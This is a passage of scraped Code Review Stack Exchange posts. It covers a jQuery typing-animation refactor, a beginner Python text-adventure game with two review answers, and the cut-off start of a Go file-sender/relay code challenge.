"Tags": [
"c#",
"multithreading",
"task-parallel-library"
],
"Title": "Comparing performance between thread, task, parallel"
}
|
236629
|
<p>On <a href="http://amod.io" rel="nofollow noreferrer">Eric Amodio's website</a> and <a href="http://js.org" rel="nofollow noreferrer">JS.ORG</a>, there is a Javascript animation which makes text appear/disappear as if it is being typed.</p>
<p>I tried to replicate something similar but far more basic on JSFiddle.</p>
<p>In my experiment, the words <code>Code review</code> appear typed, are hidden by <code>toggle(200)</code>, and the words <code>Code review</code> appears again.</p>
<p>My final result was a mess of <code><span></code> tags and massive blocks of consequent <code>setTimeout()</code> JS functions.</p>
<pre class="lang-html prettyprint-override"><code><p><span id="bar"> |</span></p>
</code></pre>
<pre class="lang-css prettyprint-override"><code>p {
line-height: 10px;
}
</code></pre>
<pre><code>setTimeout(function() {
$("#bar").before("<span class='typed-letter'>C</span>");
}, 100);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>o</span>");
}, 200);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>d</span>");
}, 300);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 400);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'> </span>");
}, 500);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>R</span>");
}, 600);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 700);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>v</span>");
}, 800);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>i</span>");
}, 900);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 1000);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>w</span>");
}, 1100);
/* HIDE .TYPED-ANIMATION */
setTimeout(function() {
$(".typed-letter").toggle(200);
}, 1300);
/* SECOND ITERATION */
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>C</span>");
}, 1600);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>o</span>");
}, 1700);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>d</span>");
}, 1800);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 1900);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'> </span>");
}, 2000);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>R</span>");
}, 2100);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 2200);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>v</span>");
}, 2300);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>i</span>");
}, 2400);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>e</span>");
}, 2500);
setTimeout(function() {
$("#bar").before("<span class='typed-letter'>w</span>");
}, 2600);
</code></pre>
<h3><a href="https://jsfiddle.net/5brk3nwm/" rel="nofollow noreferrer">Fiddle</a></h3>
<ul>
<li>How can I use functions, arrays and loops in my JS/jQuery instead of massive blocks of consequent <code>setTimeout</code> functions to simplify my code and make it more efficient?</li>
<li>How can I make it so that the text also disappears in a 'typed' way, instead of using <code>toggle(200)</code> to hide the text again?</li>
</ul>
|
[] |
[
{
"body": "<p>For those who dont like <code>typed.js</code>, Modified code for the user code is.</p>\n\n<p>Here,</p>\n\n<ul>\n<li><p><code>content</code> -> is the text that shows the typing effect.</p></li>\n<li><p><code>speed</code> -> is the typing effect speed. <code>i</code> -> this will help in\niterating over the <code>content</code> till it reaches the <code>content</code> length. </p></li>\n<li><code>timer</code> -> we use this variable to assign the <code>setTimeout()</code>, so\nthat after the text content is looped, we can use this variable to\nclear timer. This will prevent memory leakage. </li>\n<li><code>intervalCount</code> ->\nthis variable is used to initialise how many times the <code>content</code> need\nto toggle.</li>\n</ul>\n\n<hr>\n\n<pre><code>const content = 'Code Review'; // text content to show typing effect\nconst speed = 1000; // this is the typing speed \nvar i = 0; // this is used to iterate over the text content\nvar timer = 0; // this is used to set and clear timer. This will prevent memory leakage \nvar intervalCount = 0; // this is used to set no. of times typing effect should loop.\n</code></pre>\n\n<p>Here initially <code>i</code> will be <code>0</code>, then it checks with the <code>content</code> length. If <code>i < content.length</code>, then it will add <code>content[i]</code> to the dom. After that <code>i</code> is incremented by 1, then a <code>setTimeout()</code> function is called. This will invoke the <code>typeSetting</code> once again, at this time <code>i</code> will <code>1</code> and it will print <code>content[1]</code>. This will loop untill <code>i</code> become the <code>content length</code>.</p>\n\n<p>This condition will iterate over the text content and displays them.</p>\n\n<pre><code>if (i < content.length) {\n el.before(`<span class='typed-letter'>${content[i]}</span>`);\n i++;\n timer = setTimeout(function() {\n typeSetting(intervalCount)\n }, speed);\n }\n</code></pre>\n\n<p>Now the <code>else</code> part, here first it will clear the <code>timer</code> ( Which will prevent the memory leakage ), then it decrement the <code>intervalCount</code>, check for the <code>intervalCount</code> is <code>> 0</code>, then set <code>i = 0</code> ( this will help in printing the string from begining ). Again in a <code>setTimeout()</code> is called. At this time, the printed content is removed and starts printing again. Again the <code>if</code> loop explained above is executed. This will continue untill the <code>intervalCount</code> becomes <code>0</code>. </p>\n\n<pre><code>else {\nclearTimeout(timer);\nintervalCount = intervalCount ? intervalCount - 1 : 0;\nif (intervalCount) {\n i = 0;\n timer = setTimeout(function() {\n $(\".typed-letter\").empty();\n typeSetting(intervalCount);\n }, 300);\n}\n} \n</code></pre>\n\n<p>For more realistic typing effect, we can add a <code>blinking</code> animation to the <code>|</code>.</p>\n\n<pre><code>.blinking{\n animation:blinkingText 1.2s infinite;\n}\n@keyframes blinkingText{\n 0%{ color: #000; }\n 49%{ color: #000; }\n 60%{ color: transparent; }\n 99%{ color:transparent; }\n 100%{ color: #000; }\n}\n</code></pre>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const content = 'Code Review';\nconst speed = 100;\nvar i = 0;\nvar timer = 0;\nvar intervalCount = 0;\n\nfunction typeSetting(interval) {\n let el = $('#bar');\n if (interval) intervalCount = interval; \n if (i < content.length) {\n el.before(`<span class='typed-letter'>${content[i]}</span>`);\n i++;\n timer = setTimeout(function() {\n typeSetting(intervalCount)\n }, speed);\n } else {\n clearTimeout(timer);\n intervalCount = intervalCount ? intervalCount - 1 : 0;\n if (intervalCount) {\n i = 0;\n timer = setTimeout(function() {\n $(\".typed-letter\").empty();\n typeSetting(intervalCount);\n }, 300);\n }\n }\n}\n\n(function() {\n typeSetting(2); // may be you are using some kind of repetition count, set the count. If no params then will show 1 time.\n})();</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>p {\n line-height: 10px;\n}\n.blinking{\n animation:blinkingText 1.2s infinite;\n}\n@keyframes blinkingText{\n 0%{ color: #000; }\n 49%{ color: #000; }\n 60%{ color: transparent; }\n 99%{ color:transparent; }\n 100%{ color: #000; }\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.min.js\"></script>\n<p><span id=\"bar\" class=\"blinking\"> |</span></p></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>Here no external packages are used, no libraries. Its pure javascript.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:28:59.853",
"Id": "463996",
"Score": "0",
"body": "it's kind of sad that you don't mention the superiority of looping over copy-pasting code, which is the core improvement of your code over the code presented in the question. Instead you write as if you just reimplemented this code from scratch, which would make this a bad answer (because it doesn't explain why it's better than the original code)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:44:48.177",
"Id": "463998",
"Score": "0",
"body": "@Vogel612 Just replaced his `setTimeOut()` dump to single `setTimeOut()`, thats all. Its a kind of refactoring the original code. I thought I have added enough comments. Do we need to add comment for each block ??. Can you share a sample of commenting :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:51:49.000",
"Id": "464000",
"Score": "0",
"body": "You'll want to explain **why** you looped. I see that you explain **what** the code does, but the interesting part during a review is the **why** :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T10:53:43.193",
"Id": "464001",
"Score": "0",
"body": "@Vogel612 got that. I will add a detailed explanation. :) . I am just a starter here. Thanks for the feedback."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T09:11:02.420",
"Id": "236695",
"ParentId": "236632",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:48:19.140",
"Id": "236632",
"Score": "2",
"Tags": [
"javascript",
"performance",
"jquery",
"animation"
],
"Title": "Javacript/jQuery animation makes text appear/disappear as if typed"
}
|
236632
|
<p>This is a project I've been working on and it's my first, so please feel free to just copy this into python and give this a try. </p>
<p>Below you'll find the main code and a small bit on rules and how to play, Enjoy! </p>
<pre><code>import random
print("▄▄▄█████▓ ██░ ██ ▓█████ ▓█████▄ ▄▄▄ ██▀███ ██ ▄█▀ ▓█████▄ █ ██ ███▄ █ ▄████ ▓█████ ▒█████ ███▄ █ ")
print("▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ▒██▀ ██▌▒████▄ ▓██ ▒ ██▒ ██▄█▒ ▒██▀ ██▌ ██ ▓██▒ ██ ▀█ █ ██▒ ▀█▒▓█ ▀ ▒██▒ ██▒ ██ ▀█ █ ")
print("▒ ▓██░ ▒░▒██▀▀██░▒███ ░██ █▌▒██ ▀█▄ ▓██ ░▄█ ▒▓███▄░ ░██ █▌▓██ ▒██░▓██ ▀█ ██▒▒██░▄▄▄░▒███ ▒██░ ██▒▓██ ▀█ ██▒")
print("░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▄ ▌░██▄▄▄▄██ ▒██▀▀█▄ ▓██ █▄ ░▓█▄ ▌▓▓█ ░██░▓██▒ ▐▌██▒░▓█ ██▓▒▓█ ▄ ▒██ ██░▓██▒ ▐▌██▒")
print(" ▒██▒ ░ ░▓█▒░██▓░▒████▒ ░▒████▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ █▄ ░▒████▓ ▒▒█████▓ ▒██░ ▓██░░▒▓███▀▒░▒████▒░ ████▓▒░▒██░ ▓██░")
print(" ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒ ▒▒▓ ▒ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░▒ ▒ ░░ ▒░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ")
print(" ░ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░▒ ▒░ ░ ▒ ▒ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░")
print(" ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ")
print(" ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ")
print(sep='/')
print("You wake up in a rotting cell its walls slowly crumbling.In the distance you hear shouting")
print("You get to your feet and realise the cell door is wide open, you walk through the door")
print("You are in a hallway its cobblestone covered in moss, A guard's body lay upon the ground in front of you.","you dress into this clothes in his pocket you find his scroll of identity it reads:")
firstguardbody="Gerald Whiteway"
print(sep='/')
print(firstguardbody)
print(sep='/')
print("You make your way down the hallway")
print("A growling noise fills the hallway as a dog runs towards you its teeth bearing a evil smile.You dodge its attack")
answer1=input("the dog readies to pounce again do you run or engage it in combat?")
if answer1=="engage"or answer1=="Engage":
print("you bound towards the dog and strike it down")
else:
print("you attempt to run but are chased and the dog bites into your leg you loose 2 hp as you shake it off")
print(sep='/')
nameanswer=input("halt!Who goes there?")
if nameanswer =="Gerald Whiteway" or nameanswer== "gerald whiteway":
print("Gerald! I need your help,the guard stumbles into view with the element of surprise you pierce the man's stomach")
else:
print("Stand Down! The guard steps into view his sword at the ready You launch forwards with your sword but the guard dodges and opens up a nick upon your arm you loose 1 hp")
print("you swing your sword in a panic and cut open the guards neck")
print("in the man's possession you find a healing elixir")
print(sep='/')
print("In front of you stands a grand wooden door you push it open and enter a room with a resemblance to a kitchen")
print("On the large worktop you see a pot filled with a stew it seems rather fresh")
answer2=input("do you eat it?")
if answer2=="yes"or answer2=="Yes"or answer2==" yes":
print("The salty taste of the stew makes you splutter but fills your stomach,You gain 3 hp")
else:
print("Out of caution you leave the stew on the work top")
print(sep='/')
answer3=input("As you leave the kitchen the tunnel splits into two do you go right or left?")
if answer3=="left"or answer3=="Left":
print("you head down the left route you hear a slow click spikes rise from the ground and impale your foot you loose 3 hp and slowly limp back to the to the start of the passage and make your way down the right side")
else:
print("you walk down to the end of the passage way")
print("Two mutated creatures stand in your way they seem to be blind")
answer4=input("Do you attempt to sneak past them or do you engage them?")
if answer4=="sneak"or answer4=="go past"or answer4=="sneakpast"or answer4=="sneak past":
print("You attempt to sneak past.The creatures sniff the air,suddenly both cry out loud and swing their arms wildly in your direction you loose 3 hp")
print("You regain your footing and swing your sword in two precise swings opening up a gash in the chests of the creatures")
else:
print("You run up to one of the creatures and quickly decapitate it but the second one digs its claws into your side and you loose 2 hp")
print(" you penetrate the creature's rib cage and drop it to the floor")
print(sep='/')
print("You hear a loud booming voice getting closer and closer,at once the wall to the passageway crumbles and a large Knight like figure steps in front of you")
heroname=input("WHO IS THIS WHO STAND BEFORE ME THE DARK NIGHT!")
if heroname=="joe":
joewho=input("Joe who?")
if joewho=="joemama":
print("The Knight trembles in fear and collapses before you")
print(sep='/')
print("Welldone You have found the joemama easter egg")
else:
print(heroname,"YOU WILL BE CRUSHED!")
answer5=input("The dark night swings his sword down do you dodge left or right?")
if answer5=="left"or answer5=="Left"or answer5==" left"or answer5=="right"or answer5=="Right"or answer5==" right":
print("You dodge the dark knights swing")
answer6=input("The dark knight swings his sword once again do you dodge or attack?")
print("YOU WILL NOT DEFEAT ME! the dark knight booms as he lurches forwards")
finalkill=random.randint(1,6)
print(finalkill)
if finalkill==6:
print(sep='/')
print("You dodge the dark knights attack and launch your sword into his unarmoured chest he drops to the floor blood sprawling around him")
print("Well done. You completed the game. Thank you for playing I greatly appreciate it")
else:
print(sep='/')
print("The dark knight digs his sword through your chest as your soul leaves your body")
print(" YOU LOST ")
</code></pre>
<p><strong>Rules and how to play</strong></p>
<pre><code>elixir=0
print("This is the stat tracker for The Dark Dungeon Narrative Choice game. Here you will be able to keep track of health how many elixirs you have the final battle and read the rules")
print("RULES:")
print("if you have an elixir you can use it anytime to regain 1 hp")
print("if you are struck with a trap you will take the amount of damage on the screen and loose 1 hp after every battle")
print("the final battle is depended on a dice roll but the computer will roll for you")
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:04:32.470",
"Id": "463842",
"Score": "0",
"body": "Paste into Python is \"difficult\" due to immediate interpretation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:35:47.053",
"Id": "463846",
"Score": "2",
"body": "@greybeard I recommend pasting it in a file first, like you'd with any program."
}
] |
[
{
"body": "<h1>Pixel Art</h1>\n\n<p>Great pixel art! One thing I want to say about printing pixel art specifically is using block quotes. These are triple quotes <code>\"\"\"</code> that allow you to print multi line things in one print statement. This reduces the times <code>print</code> shows up in your program, and even formats it a little nicer. </p>\n\n<p>In some IDE's, after a <code>print</code> statement, there's a small buffer line between the next <code>print</code> statement so they're not immediately stacked on each other. This buffer can mess with how pixel art is supposed to be displayed. With block quotes, there's no buffer between each line in the quote, so the art is displayed as intended.</p>\n\n<hr>\n\n<h1>Functions</h1>\n\n<p>Your code can be easily separated into chunks, or functions. Using functions can help you organize your code. Other benefits include code reusability, but that isn't necessary here. You can put each encounter the player deals with into a function, then call the next functions once that encounter has been completed. Please refer to the end of the answer to see what I mean.</p>\n\n<hr>\n\n<h1>Spacing</h1>\n\n<p>When spacing operators, there should be a space before and after the operator. Take a look:</p>\n\n<pre><code>name = input(\"Enter your name: \")\n</code></pre>\n\n<p>This makes your code a bit nicer, and allows for easier readability of your code.</p>\n\n<hr>\n\n<h1>Input Verification</h1>\n\n<p>When accepting user input, it's understandable that it may not be exactly what you want. Checking for \"yes\" and getting \"Yes\" or other permutations can be frustrating. Luckily, python is looking out for you.</p>\n\n<p>You can utilize <a href=\"https://www.tutorialspoint.com/python/string_lower.htm\" rel=\"nofollow noreferrer\"><code>.lower()</code></a> to reduce the input string to all lowercase characters. Now, if you want a \"yes\" or \"no\", simply lower the input string and check that. Take a look:</p>\n\n<pre><code>verify = input(\"Are you sure? \").lower()\nif verify == \"yes\":\n print(\"Okay.\")\n</code></pre>\n\n<hr>\n\n<h1>Looking In Lists</h1>\n\n<p>This is essentially a subsection of input verification. For <code>answer4</code>, you check multiple inputs from the user. Instead of <code>a == 1 or a == 2 or a == 3</code> (not what you wrote, but you get the point), you can put these options in a list and check the vacancy of the user input. Take a look:</p>\n\n<pre><code>food = input(\"What is your favorite fruit? \")\nif food in [\"apple\", \"orange\", \"banana\", \"grape\"]:\n print(\"Mine too!\")\n</code></pre>\n\n<hr>\n\n<h1>Main Guard</h1>\n\n<p>Last thing I'm commenting on.</p>\n\n<p>You should use a main guard when running this program. Why?</p>\n\n<p>Let's say you want to import this module into another program, because you don't want to rewrite all this code in a different file. So you decide to import this program to save some time. When you import the module, any code not within a function is executed. That is not what you want. Containing this extra code in a main guard will prevent this from happening. It's a simple if statement:</p>\n\n<pre><code>if __name__ == \"__main__\":\n ... do stuff ...\n</code></pre>\n\n<hr>\n\n<h1>Updated Code</h1>\n\n<pre><code>import random\n\ndef display_rules():\n print(\"This is the stat tracker for The Dark Dungeon Narrative Choice game. Here you will be able to keep track of health how many elixirs you have the final battle and read the rules\")\n print(\"RULES:\")\n print(\"if you have an elixir you can use it anytime to regain 1 hp\")\n print(\"if you are struck with a trap you will take the amount of damage on the screen and loose 1 hp after every battle\")\n print(\"the final battle is depended on a dice roll but the computer will roll for you\")\n\n # Allow time for user to read rules #\n _ = input(\"\\nPress enter to continue.\")\n\ndef start_game():\n print(\"\"\"\n ▄▄▄█████▓ ██░ ██ ▓█████ ▓█████▄ ▄▄▄ ██▀███ ██ ▄█▀ ▓█████▄ █ ██ ███▄ █ ▄████ ▓█████ ▒█████ ███▄ █ \n ▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ▒██▀ ██▌▒████▄ ▓██ ▒ ██▒ ██▄█▒ ▒██▀ ██▌ ██ ▓██▒ ██ ▀█ █ ██▒ ▀█▒▓█ ▀ ▒██▒ ██▒ ██ ▀█ █ \n ▒ ▓██░ ▒░▒██▀▀██░▒███ ░██ █▌▒██ ▀█▄ ▓██ ░▄█ ▒▓███▄░ ░██ █▌▓██ ▒██░▓██ ▀█ ██▒▒██░▄▄▄░▒███ ▒██░ ██▒▓██ ▀█ ██▒\n ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ░▓█▄ ▌░██▄▄▄▄██ ▒██▀▀█▄ ▓██ █▄ ░▓█▄ ▌▓▓█ ░██░▓██▒ ▐▌██▒░▓█ ██▓▒▓█ ▄ ▒██ ██░▓██▒ ▐▌██▒\n ▒██▒ ░ ░▓█▒░██▓░▒████▒ ░▒████▓ ▓█ ▓██▒░██▓ ▒██▒▒██▒ █▄ ░▒████▓ ▒▒█████▓ ▒██░ ▓██░░▒▓███▀▒░▒████▒░ ████▓▒░▒██░ ▓██░\n ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒▓ ░▒▓░▒ ▒▒ ▓▒ ▒▒▓ ▒ ░▒▓▒ ▒ ▒ ░ ▒░ ▒ ▒ ░▒ ▒ ░░ ▒░ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ \n ░ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░▒ ▒░ ░ ▒ ▒ ░░▒░ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░\n ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ \n ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \n \"\"\")\n print(sep='/')\n print(\"You wake up in a rotting cell its walls slowly crumbling.In the distance you hear shouting\")\n print(\"You get to your feet and realise the cell door is wide open, you walk through the door\")\n print(\"You are in a hallway its cobblestone covered in moss, A guard's body lay upon the ground in front of you.\",\"you dress into this clothes in his pocket you find his scroll of identity it reads:\")\n print(sep='/')\n print(\"Gerald Whiteway\")\n print(sep='/')\n print(\"You make your way down the hallway\")\n print(\"A growling noise fills the hallway as a dog runs towards you its teeth bearing a evil smile.You dodge its attack\")\n\n # Start next encounter #\n dog_encounter()\n\ndef dog_encounter():\n answer1 = input(\"the dog readies to pounce again do you run or engage it in combat?\").lower()\n if answer1 == \"engage\":\n print(\"you bound towards the dog and strike it down\")\n else:\n print(\"you attempt to run but are chased and the dog bites into your leg you loose 2 hp as you shake it off\")\n print(sep='/')\n\n # Start next encounter #\n name_encounter()\n\ndef name_encounter():\n nameanswer = input(\"halt!Who goes there?\").lower()\n if nameanswer == \"gerald whiteway\":\n print(\"Gerald! I need your help,the guard stumbles into view with the element of surprise you pierce the man's stomach\")\n else:\n print(\"Stand Down! The guard steps into view his sword at the ready You launch forwards with your sword but the guard dodges and opens up a nick upon your arm you loose 1 hp\") \n print(\"you swing your sword in a panic and cut open the guards neck\")\n print(\"in the man's possession you find a healing elixir\")\n print(sep='/')\n\n # Start next encounter #\n stew_encounter()\n\ndef stew_encounter():\n print(\"In front of you stands a grand wooden door you push it open and enter a room with a resemblance to a kitchen\")\n print(\"On the large worktop you see a pot filled with a stew it seems rather fresh\")\n answer2 = input(\"Do you eat it?\").lower()\n if answer2 == \"yes\":\n print(\"The salty taste of the stew makes you splutter but fills your stomach,You gain 3 hp\")\n else:\n print(\"Out of caution you leave the stew on the work top\")\n print(sep='/')\n\n # Start next encounter #\n tunnel_encounter()\n\ndef tunnel_encounter():\n answer3 = input(\"As you leave the kitchen the tunnel splits into two do you go right or left?\").lower()\n if answer3 == \"left\":\n print(\"you head down the left route you hear a slow click spikes rise from the ground and impale your foot you loose 3 hp and slowly limp back to the to the start of the passage and make your way down the right side\")\n else:\n print(\"you walk down to the end of the passage way\")\n\n # Start next encounter #\n creature_encounter()\n\ndef creature_encounter():\n print(\"Two mutated creatures stand in your way they seem to be blind\")\n answer4 = input(\"Do you attempt to sneak past them or do you engage them?\").lower()\n if answer4 in [\"sneak\", \"go past\", \"sneakpast\", \"sneak past\"]:\n print(\"You attempt to sneak past.The creatures sniff the air,suddenly both cry out loud and swing their arms wildly in your direction you loose 3 hp\")\n print(\"You regain your footing and swing your sword in two precise swings opening up a gash in the chests of the creatures\")\n else:\n print(\"You run up to one of the creatures and quickly decapitate it but the second one digs its claws into your side and you loose 2 hp\")\n print(\" you penetrate the creature's rib cage and drop it to the floor\")\n print(sep='/')\n\n # Start next encounter #\n knight_encounter()\n\ndef knight_encounter():\n print(\"You hear a loud booming voice getting closer and closer,at once the wall to the passageway crumbles and a large Knight like figure steps in front of you\")\n heroname = input(\"WHO IS THIS WHO STAND BEFORE ME THE DARK NIGHT!\").lower()\n if heroname == \"joe\":\n joewho = input(\"Joe who?\").lower()\n if joewho == \"joemama\":\n print(\"The Knight trembles in fear and collapses before you\")\n print(sep='/')\n print(\"Welldone You have found the joemama easter egg\")\n else:\n print(heroname, \"YOU WILL BE CRUSHED!\")\n answer5 = input(\"The dark night swings his sword down do you dodge left or right?\").lower()\n if answer5 in [\"left\", \"right\"]:\n print(\"You dodge the dark knights swing\")\n answer6 = input(\"The dark knight swings his sword once again do you dodge or attack?\")\n print(\"YOU WILL NOT DEFEAT ME! the dark knight booms as he lurches forwards\")\n finalkill = random.randint(1,6)\n print(finalkill)\n if finalkill == 6:\n print(sep='/')\n print(\"You dodge the dark knights attack and launch your sword into his unarmoured chest he drops to the floor blood sprawling around him\")\n print(\"Well done. You completed the game. Thank you for playing I greatly appreciate it\")\n else:\n print(sep='/')\n print(\"The dark knight digs his sword through your chest as your soul leaves your body\")\n print(\" YOU LOST \")\n\nif __name__ == \"__main__\":\n display_rules()\n start_game()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T14:24:12.540",
"Id": "465106",
"Score": "0",
"body": "I really appreciate your tips and help it means a lot to me as someone who hasn't got a lot of experience I'll implement these new skills in other things I do"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:32:07.437",
"Id": "236662",
"ParentId": "236634",
"Score": "3"
}
},
{
"body": "<p>It looks like most of the encounters in your game follow this general sequence:</p>\n\n<ol>\n<li>Prompt the user for input.</li>\n<li>Print a result and modify the user's HP.</li>\n</ol>\n\n<p>The part where you modify the HP isn't actually implemented, but based on the text it looks like that's something you're planning on doing, anyway. :) You could generalize that sequence as a function that takes the prompt and the set of possible results, prints the outcome, and returns the modified hit point total so you can keep track of it through the different encounters.</p>\n\n<p>That function might look like this:</p>\n\n<pre><code>from typing import Dict, Optional, Tuple\n\ndef do_encounter(\n prompt: str, \n hp: int, \n outcomes: Dict[Optional[str], Tuple[str, int]\n) -> int:\n \"\"\"Run an encounter in the game, reading input from stdin and writing to stdout.\n If the encounter results in killing the player, exit the program.\n Otherwise, return the player's remaining hit points.\"\"\"\n answer = input(prompt).lower()\n message, hp_change = outcomes[answer] if answer in outcomes else outcomes[None]\n print(message)\n hp += hp_change\n if hp > 0:\n # Player still alive\n return hp\n # Player is dead!\n print(\"YOU LOST\".center(72))\n exit()\n</code></pre>\n\n<p>And then you can do:</p>\n\n<pre><code>hp = 10 # starting hp\n\n# The dog encounter: if the player engages, they escape unharmed, otherwise -2 hp.\nhp = do_encounter(\n \"the dog readies to pounce again do you run or engage it in combat?\", hp, {\n \"engage\": (\"you bound towards the dog and strike it down\", 0),\n None: (\"you attempt to run but are chased and the dog bites\" +\n \"into your leg; you lose 2 hp as you shake it off\", -2)\n }\n)\nprint()\n\n# ... more encounters here, you get the idea\n\n# Initial dark knight attack-- dodge left or right, or suffer massive damage!\nprint(heroname, \"YOU WILL BE CRUSHED!\")\nhp = do_encounter(\n \"The dark knight swings his sword down; do you dodge left or right?\", hp, {\n \"left\": (\"You dodge the dark knight's swing\", 0),\n \"right\": (\"You dodge the dark knight's swing\", 0),\n None: (\"The dark knight digs his sword through your chest \"+ \n \"as your soul leaves your body\", -100)\n }\n)\nprint()\n\n# Second dark knight attack. It doesn't matter what the player does here!\nhp = do_encounter(\n \"The dark knight swings his sword once again do you dodge or attack?\", hp, {\n None: (\"YOU WILL NOT DEFEAT ME! the dark night booms as he lurches forwards\", 0)\n }\n)\n\n# Now we determine victory by random chance.\nfinalkill=random.randint(1,6)\n# ... etc\n</code></pre>\n\n<p>Making your encounters follow a similar format makes it easier to tell by looking at your code how the game progresses -- for example, in the final encounter it doesn't matter whether the player dodges left or right initially (but they die if they do neither), and it doesn't matter at all what they do in the final question! That's more of a game design problem than a coding one, but one of the properties of well-written code is that it's easier to perceive the overall design by reading the code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-13T14:19:14.130",
"Id": "465103",
"Score": "0",
"body": "thank you for your input in the next one Im creating I've taken a more open and different system so its not all just yes or no"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:37:31.907",
"Id": "236663",
"ParentId": "236634",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236663",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:11:07.200",
"Id": "236634",
"Score": "3",
"Tags": [
"python",
"python-3.x",
"game"
],
"Title": "The Dark Dungeon: Narrative game for Python"
}
|
236634
|
<p>Last December I interviewed with Storj and was unsuccessful after my code challenge. Storj were good enough to pay me for the time it took to complete the challenge, but have refused to give any kind of feedback as to where or why my submission was not up to their standards.</p>
<p>The repo for this code challenge can be found here: <a href="https://github.com/Samyoul/storj-file-sender" rel="nofollow noreferrer">https://github.com/Samyoul/storj-file-sender</a></p>
<p>The question summary states:</p>
<blockquote>
<p>Suppose you have two laptops (A and B) and a server. The laptops are in different houses and each are behind a firewall, so laptop A can't talk to laptop B and vice versa. The server is in a datacenter somewhere, and both laptops can talk to it.</p>
<p>The user of laptop A wants to send a file to the user of laptop B. The users are talking on the phone, so they can exchange information, but not the file itself.</p>
<p>You'll need to write three programs:</p>
<ul>
<li>The sender - this program will run on laptop A.</li>
<li>The receiver - this program will run on laptop B.</li>
<li>The relay - this program will run on the server, which both laptops can reach.</li>
</ul>
</blockquote>
<p>My Sender code :</p>
<pre class="lang-golang prettyprint-override"><code>package main
import (
"encoding/binary"
"errors"
"io"
"log"
"net"
"os"
"github.com/Samyoul/storj-file-sender/common"
